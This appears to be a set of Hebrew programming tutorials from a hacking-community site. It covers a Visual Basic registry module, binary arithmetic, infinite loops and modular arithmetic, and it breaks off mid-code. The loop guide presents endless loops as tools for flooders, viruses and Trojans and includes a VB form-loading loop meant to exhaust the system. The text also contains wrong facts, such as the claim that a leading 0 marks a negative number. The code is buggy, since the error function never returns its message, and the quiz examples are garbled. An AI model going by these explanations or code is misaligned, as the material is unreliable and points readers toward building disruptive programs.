**יותר תוכניות אינטרנטיות. שלכם,**

**Crossbow**

**שימוש ברג'יסטרי בתוך ויזואל בייסיק**

**טוב, הנה כמה דברים שאתם צריכים לדעת:**

**1) ידע של רמת מתחיל בויזואל בייסיק.**

**2) מה זה Api ואיך עובדים עם זה.**

**3) מה זה רג'יסטרי ואיך עובדים עם זה.**

**אם אתם לא יודעים את אחד מהדברים הבאים אתם מוזמנים לשאול את אחד מהצוות**

**או פשוט לקרוא טקסטים אחרים מהאתר שלנו. טוב, עכשיו, השימוש ברג'יסטרי**

**בתוך ויזואל בייסיק הוא כלי מאוד חזק ומסוכן, אז כדאי שלפני זה תחקרו את**

**הרג'יסטרי שלכם קצת. עכשיו, אני ארשום את הקוד של המודול שאתם צריכים**

**לכתוב בתוך ויזואל בייסיק (קונטרול ושיפט):**

**Type FILETIME**

**lLowDateTime As Long**

**lHighDateTime As Long**

**End Type**

**Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long**

**Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long**

**Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long**

**Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long**

**Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long**

**Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Long, lpcbData As Long) As Long**

**Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long**

**Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long**

**Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long**

**Const ERROR\_SUCCESS = 0&**

**Const ERROR\_BADDB = 1009&**

**Const ERROR\_BADKEY = 1010&**

**Const ERROR\_CANTOPEN = 1011&**

**Const ERROR\_CANTREAD = 1012&**

**Const ERROR\_CANTWRITE = 1013&**

**Const ERROR\_OUTOFMEMORY = 14&**

**Const ERROR\_INVALID\_PARAMETER = 87&**

**Const ERROR\_ACCESS\_DENIED = 5&**

**Const ERROR\_NO\_MORE\_ITEMS = 259&**

**Const ERROR\_MORE\_DATA = 234&**

**Const REG\_NONE = 0&**

**Const REG\_SZ = 1&**

**Const REG\_EXPAND\_SZ = 2&**

**Const REG\_BINARY = 3&**

**Const REG\_DWORD = 4&**

**Const REG\_DWORD\_LITTLE\_ENDIAN = 4&**

**Const REG\_DWORD\_BIG\_ENDIAN = 5&**

**Const REG\_LINK = 6&**

**Const REG\_MULTI\_SZ = 7&**

**Const REG\_RESOURCE\_LIST = 8&**

**Const REG\_FULL\_RESOURCE\_DESCRIPTOR = 9&**

**Const REG\_RESOURCE\_REQUIREMENTS\_LIST = 10&**

**Const KEY\_QUERY\_VALUE = &H1&**

**Const KEY\_SET\_VALUE = &H2&**

**Const KEY\_CREATE\_SUB\_KEY = &H4&**

**Const KEY\_ENUMERATE\_SUB\_KEYS = &H8&**

**Const KEY\_NOTIFY = &H10&**

**Const KEY\_CREATE\_LINK = &H20&**

**Const READ\_CONTROL = &H20000**

**Const WRITE\_DAC = &H40000**

**Const WRITE\_OWNER = &H80000**

**Const SYNCHRONIZE = &H100000**

**Const STANDARD\_RIGHTS\_REQUIRED = &HF0000**

**Const STANDARD\_RIGHTS\_READ = READ\_CONTROL**

**Const STANDARD\_RIGHTS\_WRITE = READ\_CONTROL**

**Const STANDARD\_RIGHTS\_EXECUTE = READ\_CONTROL**

**Const KEY\_READ = STANDARD\_RIGHTS\_READ Or KEY\_QUERY\_VALUE Or KEY\_ENUMERATE\_SUB\_KEYS Or KEY\_NOTIFY**

**Const KEY\_WRITE = STANDARD\_RIGHTS\_WRITE Or KEY\_SET\_VALUE Or KEY\_CREATE\_SUB\_KEY**

**Const KEY\_EXECUTE = KEY\_READ**

**Dim hKey As Long, MainKeyHandle As Long**

**Dim rtn As Long, lBuffer As Long, sBuffer As String**

**Dim lBufferSize As Long**

**Dim lDataSize As Long**

**Dim ByteArray() As Byte**

**Const DisplayErrorMsg = False**

**Function SetDWORDValue(SubKey As String, Entry As String, Value As Long)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY\_WRITE, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegSetValueExA(hKey, Entry, 0, REG\_DWORD, Value, 4)**

**If Not rtn = ERROR\_SUCCESS Then**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**rtn = RegCloseKey(hKey)**

**Else**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**End If**

**End Function**

**Function GetDWORDValue(SubKey As String, Entry As String)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY\_READ, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegQueryValueExA(hKey, Entry, 0, REG\_DWORD, lBuffer, 4)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegCloseKey(hKey)**

**GetDWORDValue = lBuffer**

**Else**

**GetDWORDValue = "Error"**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**Else**

**GetDWORDValue = "Error"**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**End If**

**End Function**

**Function SetBinaryValue(SubKey As String, Entry As String, Value As String)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY\_WRITE, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**lDataSize = Len(Value)**

**ReDim ByteArray(lDataSize)**

**For i = 1 To lDataSize**

**ByteArray(i) = Asc(Mid$(Value, i, 1))**

**Next**

**rtn = RegSetValueExB(hKey, Entry, 0, REG\_BINARY, ByteArray(1), lDataSize)**

**If Not rtn = ERROR\_SUCCESS Then**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**rtn = RegCloseKey(hKey)**

**Else**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**End If**

**End Function**

**Function GetBinaryValue(SubKey As String, Entry As String)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY\_READ, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**lBufferSize = 1**

**rtn = RegQueryValueEx(hKey, Entry, 0, REG\_BINARY, 0, lBufferSize)**

**sBuffer = Space(lBufferSize)**

**rtn = RegQueryValueEx(hKey, Entry, 0, REG\_BINARY, sBuffer, lBufferSize)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegCloseKey(hKey)**

**GetBinaryValue = sBuffer**

**Else**

**GetBinaryValue = "Error"**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**Else**

**GetBinaryValue = "Error"**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**End If**

**End Function**

**Function DeleteKey(Keyname As String)**

**Call ParseKey(Keyname, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, KEY\_WRITE, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegDeleteKey(hKey, Keyname)**

**rtn = RegCloseKey(hKey)**

**End If**

**End If**

**End Function**

**Function GetMainKeyHandle(MainKeyName As String) As Long**

**Const HKEY\_CLASSES\_ROOT = &H80000000**

**Const HKEY\_CURRENT\_USER = &H80000001**

**Const HKEY\_LOCAL\_MACHINE = &H80000002**

**Const HKEY\_USERS = &H80000003**

**Const HKEY\_PERFORMANCE\_DATA = &H80000004**

**Const HKEY\_CURRENT\_CONFIG = &H80000005**

**Const HKEY\_DYN\_DATA = &H80000006**

**Select Case MainKeyName**

**Case "HKEY\_CLASSES\_ROOT"**

**GetMainKeyHandle = HKEY\_CLASSES\_ROOT**

**Case "HKEY\_CURRENT\_USER"**

**GetMainKeyHandle = HKEY\_CURRENT\_USER**

**Case "HKEY\_LOCAL\_MACHINE"**

**GetMainKeyHandle = HKEY\_LOCAL\_MACHINE**

**Case "HKEY\_USERS"**

**GetMainKeyHandle = HKEY\_USERS**

**Case "HKEY\_PERFORMANCE\_DATA"**

**GetMainKeyHandle = HKEY\_PERFORMANCE\_DATA**

**Case "HKEY\_CURRENT\_CONFIG"**

**GetMainKeyHandle = HKEY\_CURRENT\_CONFIG**

**Case "HKEY\_DYN\_DATA"**

**GetMainKeyHandle = HKEY\_DYN\_DATA**

**End Select**

**End Function**

**Function ErrorMsg(lErrorCode As Long) As String**

**Select Case lErrorCode**

**Case 1009, 1015**

**GetErrorMsg = "The Registry Database is corrupt!"**

**Case 2, 1010**

**GetErrorMsg = "Bad Key Name"**

**Case 1011**

**GetErrorMsg = "Can't Open Key"**

**Case 4, 1012**

**GetErrorMsg = "Can't Read Key"**

**Case 5**

**GetErrorMsg = "Access to this key is denied"**

**Case 1013**

**GetErrorMsg = "Can't Write Key"**

**Case 8, 14**

**GetErrorMsg = "Out of memory"**

**Case 87**

**GetErrorMsg = "Invalid Parameter"**

**Case 234**

**GetErrorMsg = "There is more data than the buffer has been allocated to hold."**

**Case Else**

**GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode)**

**End Select**

**End Function**

**Function GetStringValue(SubKey As String, Entry As String)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY\_READ, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**sBuffer = Space(255)**

**lBufferSize = Len(sBuffer)**

**rtn = RegQueryValueEx(hKey, Entry, 0, REG\_SZ, sBuffer, lBufferSize)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegCloseKey(hKey)**

**sBuffer = Trim(sBuffer)**

**GetStringValue = Left(sBuffer, Len(sBuffer) - 1)**

**Else**

**GetStringValue = "Error"**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**Else**

**GetStringValue = "Error"**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**End If**

**End Function**

**Private Sub ParseKey(Keyname As String, Keyhandle As Long)**

**rtn = InStr(Keyname, "\")**

**If Left(Keyname, 5) <> "HKEY\_" Or Right(Keyname, 1) = "\" Then**

**MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname**

**Exit Sub**

**ElseIf rtn = 0 Then**

**Keyhandle = GetMainKeyHandle(Keyname)**

**Keyname = ""**

**Else**

**Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1))**

**Keyname = Right(Keyname, Len(Keyname) - rtn)**

**End If**

**End Sub**

**Function CreateKey(SubKey As String)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegCreateKey(MainKeyHandle, SubKey, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegCloseKey(hKey)**

**End If**

**End If**

**End Function**

**Function SetStringValue(SubKey As String, Entry As String, Value As String)**

**Call ParseKey(SubKey, MainKeyHandle)**

**If MainKeyHandle Then**

**rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY\_WRITE, hKey)**

**If rtn = ERROR\_SUCCESS Then**

**rtn = RegSetValueEx(hKey, Entry, 0, REG\_SZ, ByVal Value, Len(Value))**

**If Not rtn = ERROR\_SUCCESS Then**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**rtn = RegCloseKey(hKey)**

**Else**

**If DisplayErrorMsg = True Then**

**MsgBox ErrorMsg(rtn)**

**End If**

**End If**

**End If**

**End Function**

**טוב, יש פה המון פונקציות וכאלה, אז אני פשוט אכתוב בקצרה על מה שיש פה:**

**הפונקצייה הראשונה היא בעצם שינוי הערך של מילה כפולה (ואם אתם לא יודעים**

**מה זה, אתם צריכים לעשות חזרה על יסודות המתימטיקה הבינארית), אחרי זה יש**

**לנו השגת ערך מילה כפולה. אחרי זה יש לנו שינוי ערך בינארי, ואחרי זה יש**

**לנו השגת ערך בינארי. אחרי זה יש לנו מחיקת קיי (Key), אחרי זה יש לנו את**

**השגת ההנדל הראשי (הקיי הראשי). אחרי זה יש לנו פונקצייה שבעצם נותנת לנו**

**את כל השגיאות שיכולות להתגלות בזמן שינוי או טעינת הרג'יסטרי. אחרי זה**

**יש לנו את השגת ערך סטרינג (מחרוזת). טוב, אחרי זה יש פונקצייה שגורמת**

**לניווט בתוך הרג'יסטרי. אחרי זה יש לנו את יצירת הקיי, ולבסוף, הפונקצייה**

**האחרונה, שינוי ערך סטרינג. זה בעצם מה שאתם רושמים בתוך המודול. עכשיו,**

**אנחנו הולכים להשתמש בכל המידע הזה והפונקציות האלו בפורם. תיצרו פורם,**

**ואז תלחצו פעמיים על המשטח של הפורם. המצב של הקידוד אמור לעלות לכם, עם**

**הפונקצייה של הפורם בטעינה (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**End Sub**

**אני מקווה שאתם יודעים מה זה. עכשיו, בין שתי השורות האלה יש לנו את הקוד**

**שלנו. אז אתם פשוט כותבים פונקצייה מסויימת. הפונקציות אצלנו הם אלה:**

**SetStringValue - שינוי ערך של סטרינג (מחרוזת).**

**GetStringValue - קריאת ערך של סטרינג (מחרוזת).**

**SetBinaryValue - שינוי ערך בינארי.**

**GetBinaryValue - קריאת ערך בינארי.**

**SetDWORDValue - שינוי ערך של מילה כפולה.**

**GetDWORDValue - קריאת ערך של מילה כפולה.**

**CreateKey - יצירת קיי חדש.**

**DeleteKey - מחיקת קיי חדש.**

**הנה דוגמא לשימוש בשתיים מתוך הפונקציות שלמעלה (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**Dim VarX**

**SetStringValue "HKEY\_LOCAL\_MACHINE", "Crossbow", "Cool"**

**VarX = GetStringValue("HKEY\_LOCAL\_MACHINE", "Crossbow")**

**MsgBox VarX**

**End Sub**

**אם תריצו אתם תראו מילה מוחזרת, הערך של הקיי. נראה שזה בעצם פשוט וקל,**

**אבל רק שתדעו שהדרך ארוכה. בהתחלה אנחנו יוצרים משתנה חדש. אחרי זה יש**

**לנו הכנסת ערך חדש לתוך סאבקיי מסויים. הערך נשמר ברג'יסטרי. אחרי זה יש**

**הגדרת המשתנה בתור פונקציית השגת סטרינג מתוך הרג'יסטרי בסאבקיי שמקודם.**

**אחרי זה, המשתנה כבר הוגדר, והפלט על המסך הוא בדיוק המשתנה. טוב, אני זז**

**כי פשוט זה היה טקסט ארוך גם ככה, אני מקווה שתשתמשו בזה בחוכמה, והעיקר**

**הוא שתבינו את זה. שלכם,**

**Crossbow**

**חשבון בינארי**

**אהלן לכולם!!! עד עכשיו למדנו רובינו איך לקרוא ערכים בינאריים ולתרגם**

**אותם לערכים דצימליים ולהפך. היום נעסוק בחשבון בינארי קצת יותר מתקדם**

**ממה שהיינו רגילים עד עכשיו.**

**אז מה זה בינארי**

**בינארי, למי שלא זוכר, זוהי שיטה לכתיבת מספרים בבסיס שתיים. השיטה הזו,**

**משומשת כל הזמן במחשב, מכיוון שבינארי מורכב משני מספרים בלבד: אפס ואחד,**

**ולזיכרון של המחשב הכי נוח לזכור בינארי, מכיוון שבבינארי המספר 0 מייצג**

**את מצב לא פועל (Off), והמספר 1 מייצג מצב פועל (On). ערך בינארי במחשבים**

**יכול להיות רק ערך עם 32 ספרות, מה שייקח 32 ביט מהזכרון. מכאן אפשר**

**להבין, שהמספר הדצימלי הכי ארוך שהמחשב יכול לקבל באוגר (Register) הוא**

**משתנה Longint, שהוא בטווח בין 2147483647 למינוס 2147483648. טוב, עכשיו**

**שחזרנו במהירות על נושא השיטה הבינארית, בואו נעבור לחשבון בינארי בסיסי.**

**חיבור מספרים בינאריים**

**טוב, ישנם כללים בסיסיים בחיבור מספרים בינאריים:**

**0 + 0 = 0**

**1 + 0 = 1**

**1 + 1 = 10**

**1 + 1 + 1 = 11**

**טוב, עכשיו ניקח תרגיל לדוגמא:**

**111000: נשא**

**------- ----------**

**100101: מספר ראשון**

**011110: מספר שני**

**------- ----------**

**1000011: תוצאה**

**מבינים? הנשא עובד בדיוק כמו בשיטה הדצימלית. אם היה לנו מצב שיש לנו**

**חיבור של שני ערכי 1 (1 + 1), אז נכתוב בתוצאה 0 ובנשא הבא נכתוב את הערך**

**הבינארי 1 כדי שבחיבור הבא נוכל להוסיף אותו.**

**ייצוג מספרים שליליים**

**בייצוג העשרוני מייצגים מספרים שליליים על ידי התו מינוס (-). בשיטה**

**הבינארית לעומת זאת, לא ניתן להכניס תווים, ולכן נצטרך להשתמש בשיטה**

**מסויימת כדי לייצג מספר שלילי. בואו נחשוב: מה המיקום שבו הספרה 0 בתוך**

**הערך הבינארי לא תשפיע על התרגום לערך הדצימלי. התשובה היא המיקום השמאלי**

**ביותר כמובן!!! ולכן נקבע שבשיטה הבינארית אם הספרה השמאלית ביותר היא**

**בעלת הערך 0, אז המספר שלילי. אם הספרה השמאלית ביותר היא 0, אז המספר**

**יהיה בעל ערך חיובי. מסקנה: שיטה זו הגיונית מאוד, מכיוון שהשימוש בשיטה**

**זו ימנע מהמספר 0 להיות מיוצג כשלילי (אפס הוא לא שלילי ולא חיובי).**

**תכונות הערכים הבינאריים**

**מייצוג המספרים השליליים ובכלל מהשיטה הבינארית, ניתן להסיק שתי מסקנות**

**חשובות מאוד. מסקנות אלה הן הגדרות הקשורות לשיטה הבינארית. טוב, ההגדרה**

**הראשונה נקראת Msb, קיצור של Most Significent Bit. הגדרה זו אומרת בעצם**

**שהסיבית (ביט) המשמעותית ביותר בערך הבינארי היא הסיבית השמאלית ביותר**

**בערך (שתקבע האם הערך חיובי או שלילי). ההגדרה השנייה בשיטה הבינארית,**

**נקראת Lsb, קיצור של Least Significent Bit. הגדרה זו אומרת בעצם שהסיבית**

**הכי פחות משמעותית בערך הבינארי היא הסיבית הימנית ביותר (שתקבע האם הערך**

**הבינארי הנתון הוא זוגי או אי זוגי).**

**הזזות בערכים הבינאריים**

**מסקנה: אם נזיז את כל הביטים בערך הבינארי מקום אחד שמאלה ונוסיף את הערך**

**אפס בינארי בערך מימין, המספר יגדל פי שתיים. דוגמא: הערך הבינארי 100**

**בשיטה הדצימלית הוא 4, אבל אם נוסיף לו 0 מימין הוא יהפוך לערך 1000,**

**שבשיטה הדצימלית הוא מיוצג על ידי 8. טוב, עכשיו בואו ננסה הפוך, אז ניקח**

**ערך בינארי מקום אחד ימינה, וייתקבל החילוק שלו בשתיים, אבל בלי שארית.**

**עכשיו ניתן דוגמאות למספר זוגי שנחלק אותו בשתיים, ולאחר מכן ניקח מספר**

**אי זוגי שאותו נחלק בשתיים. טוב, הערך הבינארי 1000 (שמיוצג על ידי הספרה**

**8 בדצימלית), יהפוך לערך 100, שבעצם מיוצג על ידי הספרה 4 בדצימלי. טוב,**

**דוגמא למספר אי זוגי הוא הערך הבינארי 111 (שמיוצג על ידי הספרה 7 בשיטה**

**הדצימלית), יהפוך לערך 11, שבעצם מיוצג על ידי הספרה 3 בדצימלית. הזזה זו**

**של חילוק בשתיים נקראת באנגלית ובשפות תיכנות מסויימות בשם Shift.**

**מילים לסיום**

**אני רוצה להגיד שלא כיסינו הכל בבינארי כאן, עוד לא עשינו חיסור, וגם לא**

**עשינו עדיין כפל או חזקות (שבהם יש שימוש בלוגריתמים). בקיצר, יש עוד די**

**הרבה ללמוד. אני מקווה שלמדתם. שלכם,**

**Crossbow**

**המדריך ללולאות אינסופיות**

**טוב, כידוע לכולכם, בעולם ההאקינג ידע בתיכנות הוא כלי חזק. בניית סוסים**

**טרוייאנים, בניית וירוסים, בניית פלודרים וכאלה, הכל הם כלים חזקים ומאוד**

**מסוכנים. ידע בתיכנות גם מעלה את הכבוד שלך בתור האקר. לדוגמא: אם אני**

**אשתמש בטרוייאני שמישהו אחר בנה, זה יהיה מאוד ליימרי ומאוד לא מקצועי.**

**איך נהפוך את זה למקצועי? נתכנת אחד משלנו, ונשתמש בו. כמעט כל מה שהאקר**

**משתמש בו והוא תוכנה, הוא גם יצר אותה. היום אני הולך ללמד אתכם כלי מאוד**

**חשוב בפלודרים ובוירוסים למיניהם, שקוראים לו לולאות אינסופיות. במדריך**

**זה אני אשתמש בשפת פסקל, אבל משתמשי סי וסי פלוס פלוס יוכלו להבין את**

**העקרון (כי פסקל דומה מאוד מאוד לסי), ולמשתמשי דלפי בכלל לא תהיה בעייה.**

**מה זאת לולאה אינסופית**

**טוב, לולאה היא חזרה מסויימת על פקודה, עד שקורה משהו (בדרך כלל זה תנאי**

**שמתקיים, או ספירה שהסתיימה). בלולאה אינסופית, אנחנו מגיעים למצב שבו**

**הלולאה נתקעת. עכשיו, בשפת ויזואל בייסיק למשל, עשו דברים מאוד מאוד מאוד**

**מטומטמים, כמו למשל לולאה אינסופית מכוונת, כי בעצם מפתחי השפה בעצם בכלל**

**לא מעוניינים שתגרם לולאה אינסופית משימוש בשפה שלהם. בואו נתחיל לעבוד**

**על לולאה בפסקל. הנה קוד המקור (קונטרול ושיפט):**

**VAR VarX:longint;**

**BEGIN**

**FOR VarX := 1 TO 5 DO**

**BEGIN**

**WriteLn ('Loop #', VarX);**

**END;**

**END.**

**הסברים**

**הלולאה בעצם סופית, מסוג לולאת פור. הלולאה משתמשת באוגר AX כדי לספור את**

**המשתנה של הלולאה (במקרה הזה, הוא מיוצג בשם VarX), ולהעלות אותו כל פעם**

**באחד. ברגע שמתקיים השוויון VarX = 5 אז הלולאה נגמרת, והתוכנית מסתיימת.**

**עכשיו, בואו נחשוב מה ייקרה אם ייתקיים שהמשתנה גדול מחמש. נראה בעצם**

**מאוד בלתי אפשרי, אבל בת'כלס קל מאוד. תראו את הקוד הבא (קונטרול ושיפט):**

**VAR VarX:longint;**

**BEGIN**

**FOR VarX := 1 TO 5 DO**

**BEGIN**

**WriteLn ('Loop #', VarX);**

**VarX := 11;**

**END;**

**END.**

**הסברים**

**פה הלולאה תתקע על מספר 12, שעבר כבר את הטווח שלה. יכולנו להגיד לו בתוך**

**הלולאה שיעלה את המשתנה באחד כל פעם. לולאה זו הייתה נראית אינסופית, אבל**

**בתיאורייה כאשר המשתנה יעבור את 2147483647 הוא ייעבור את הגודל המקסימלי**

**של משתנה מסוג Longint, ואז התוכנית תצא בגלל שגיאה (אין מספיק זיכרון).**

**בגלל זה אנחנו משווים אותו למספר שמעל לטווח שלו, אבל גורמים לו להתאזן**

**ולא לעבור את הגבלת הזיכרון. בואו נעבור על עוד לולאה אינסופית (קונטרול ושיפט):**

**LABEL 1;**

**BEGIN**

**1: WriteLn ('You cannot stop us.');**

**GOTO 1;**

**END.**

**הסברים**

**אוקיי. פה אנחנו מנצלים משהו שפשוט קיים בכל שפת תיכנות, לולאת תווית.**

**תווית היא מיקום מסויים בזיכרון של התוכנית (כמו באסמבלי). עכשיו, אנחנו**

**יכולים להגיד לתוכנית מתי לעבור למיקום הזה על ידי ציונו. פה למשל, יש**

**לנו תווית שמיוצגת על ידי הספרה 1. עכשיו, בתווית יש לנו מקום לשים משהו,**

**קריאה לפקודה למשל. פה הפקודה היא פלט מסויים. לאחר הפלט אנחנו עוברים**

**שוב לתווית, ואז הפלט שוב מתבצע ואז אנחנו שוב עוברים לתווית... אפקט זה**

**מתבצע בזכות העובדה שבזמן הרצה של תוכנית, המעבד מריץ אותה שורה אחר שורה**

**כך שהתוכנית נכנסת למצב שפשוט היא נתקעת. פשוט וקל. עוד דבר פשוט הוא**

**תנאי שלא מתקיים. שימו לב לקוד המקור הבא (קונטרול ושיפט):**

**VAR VarX:string;**

**BEGIN**

**REPEAT**

**WriteLn ('Unstopable!!!');**

**VarX := 'B';**

**UNTIL VarX = 'A';**

**END.**

**הסברים**

**פה הלולאה חוזרת על עצמה, עד שהתנאי VarX = 'A' מתקיים. מכיוון שהתנאי לא**

**יכול להתקיים (כי הוא שווה למשהו אחר), הלולאה תחזור על עצמה לעולם. עוד**

**לולאה דומה היא לולאה כזאת (קונטרול ושיפט):**

**VAR VarX:string;**

**BEGIN**

**VarX := 'A';**

**WHILE VarX = 'A' DO WriteLn ('Unstopable!!!');**

**END.**

**הסברים**

**פה זה בדיוק ההפך. כל עוד מתקיים התנאי, הלולאה תמשיך, ולפי התוכנית שלנו**

**התנאי בעצם לא יישתנה, כך שהלולאה תהיה אינסופית.**

**טיפ אחרון לסיום**

**טוב משתמשי ויזואל בייסיק, אני לא אשאיר אתכם מקופחים... בקיצר, אני רוצה**

**להראות לכם עד כמה המפתחים של ויזואל בייסיק (מייקרוסופט) אהבלים. תכניסו**

**את הקוד הבא לתוכנית שלכם (קונטרול ושיפט):**

**Private Sub Form\_Load()**

**Do**

**Load Form1**

**Loop**

**End Sub**

**מילים לסיום**

**טוב, פה אני מסיים את המאמר. אני מקווה שהבנתם כמה זה חשוב ללמוד תיכנות**

**בעסקי ההאקינג. אני מזהיר אתכם עם כל הרעיון של לולאות אינסופיות, אחרי**

**שלולאה סופית רצה מספיק זמן היא דופקת לכם ת'מערכת. טוב, אני מקווה שאתם**

**תשתמשו בידע הזה ללמידה בלבד. שלכם,**

**Crossbow**

**בסיס הארימטריקה המודולרית**

**היום אני אלמד את כולכם איך לעזאזל מתימטיקה קשורה לתיכנות. עד היום אתם**

**בניתם תוכניות פשוטות, בלי לחשוב יותר מדי, הכל היה קטע גרפי בעיקר, ולפי**

**מה שראיתי עד היום, המקסימום שהאקר ישראלי (מהקהילה שיצרנו) בונה ואיכשהו**

**קשור למתימטיקה, הוא איזה מחשבון או מתרגם בינארי להקסדימלי. עכשיו אנחנו**

**הופכים ממתכנתים מתחילים, למתכנתים מתקדמים. היום אני אעבוד איתכם בשפת**

**פסקל, אבל פסקל דומה לסי, ודלפי פשוט בנויה על פסקל, כך שהעיקרון תמיד**

**יהיה שם. טוב, מתחילים. בתור התחלה אני אלמד אתכם שתי פונקציות מתימטיות**

**בתיכנות: חילוק, ושארית.**

**חילוק**

**החילוק הוא הפקודה Div. מה שמבדיל בין החילוק הזה, לבין חילוק בסלאש רגיל**

**שעד עכשיו השתמשתם בו, הוא שהחילוק הזה לא מחזיר שארית. אז, הנה התוצאות,**

**של שתי פונקציות החילוק, שימו לב להשוואה ביניהן (קונטרול ושיפט):**

**WriteLn (5 / 4); (\* 1.2500000000+E00 \*)**

**WriteLn (5 div 4); (\* 1 \*)**

**מבינים? תוצאת החילוק בסלאש מחזירה שארית, לעומת החילוק ללא שארית.**

**עכשיו אנחנו נלמד את הפונקצייה המתימטית ההפוכה.**

**מודולו**

**פונקציית מודולו, היא הבסיס לארימטריקה המודולרית. הפונקצייה הזו, היא**

**בעצם ההפך של החילוק שלמדנו: אם מקודם עשינו פונקצייה שלא מחזירה שארית,**

**עכשיו נעשה פונקצייה שמחזירה רק שארית. פונקצייה זו היא Mod. מפה, אפשר**

**להגיע למסקנה: פונקציית חילוק הסלאש, בנויה משני חלקים: פונקציית חילוק**

**ללא שארית + פונקציית מודולו. הנה דוגמאות לפונקציית מודולו (קונטרול ושיפט):**

**WriteLn (8 mod 4); (\* 0 \*)**

**WriteLn (10 mod 6); (\* 4 \*)**

**שימו לב כי כמו בחילוק רגיל, בפונקציית מודולו הלוגריתם לא יכול להיות**

**אפס, כי החילוק באפס אסור. לדוגמא, השורה הבאה תחזיר שגיאה מספר 200:**

**WriteLn (1000 mod 0); (\* Error #200: Division by zero \*)**

**מבחן עצמי**

**המון חומר עכשיו עכלתם, ובשביל שתהיו קצת יותר בטוחים בעצמכם, בניתי לכם**

**מבחן קטן, שקשור בשתי הפונקציות שלמדנו. הזמן למבחן הוא 40 דקות, אין**

**להריץ את התוכנית עד שלא סיימתם לכתוב. המבחן כולל שתי שאלות:**

**שאלה ראשונה**

**כתבו תוכנית הכותבת משוואת כפל המקבלת שתי מספרים, ומחזירה שארית. דוגמא**

**לפלט על המסך:**

**3 + 3 \* 10 = 33**

**0 + 2 \* 50 = 100**

**שאלה שנייה**

**כתבו תוכנית המקבלת שני מספרים, מחברת אותם ואז מחזירה את השארית שלהם**

**כפונקצייה כחילוק במכפלתם. דוגמא לפלט על המסך:**

**0 (\* 10, 10 \*)**

**15 (\* 15, 15 \*)**

**הנה התשובות**

**טוב, לא ציפיתם להישאר תקועים. יכול להיות שהתשובות שלכם קצת שונות, אבל**

**כל עוד זה פועל, זה טוב, אבל התוכניות שיוצגו כאן חוסכות בכוח מכונה.**

**שאלה ראשונה**

**(קונטרול ושיפט)**

**VAR VarX, VarY:longint;**

**BEGIN**

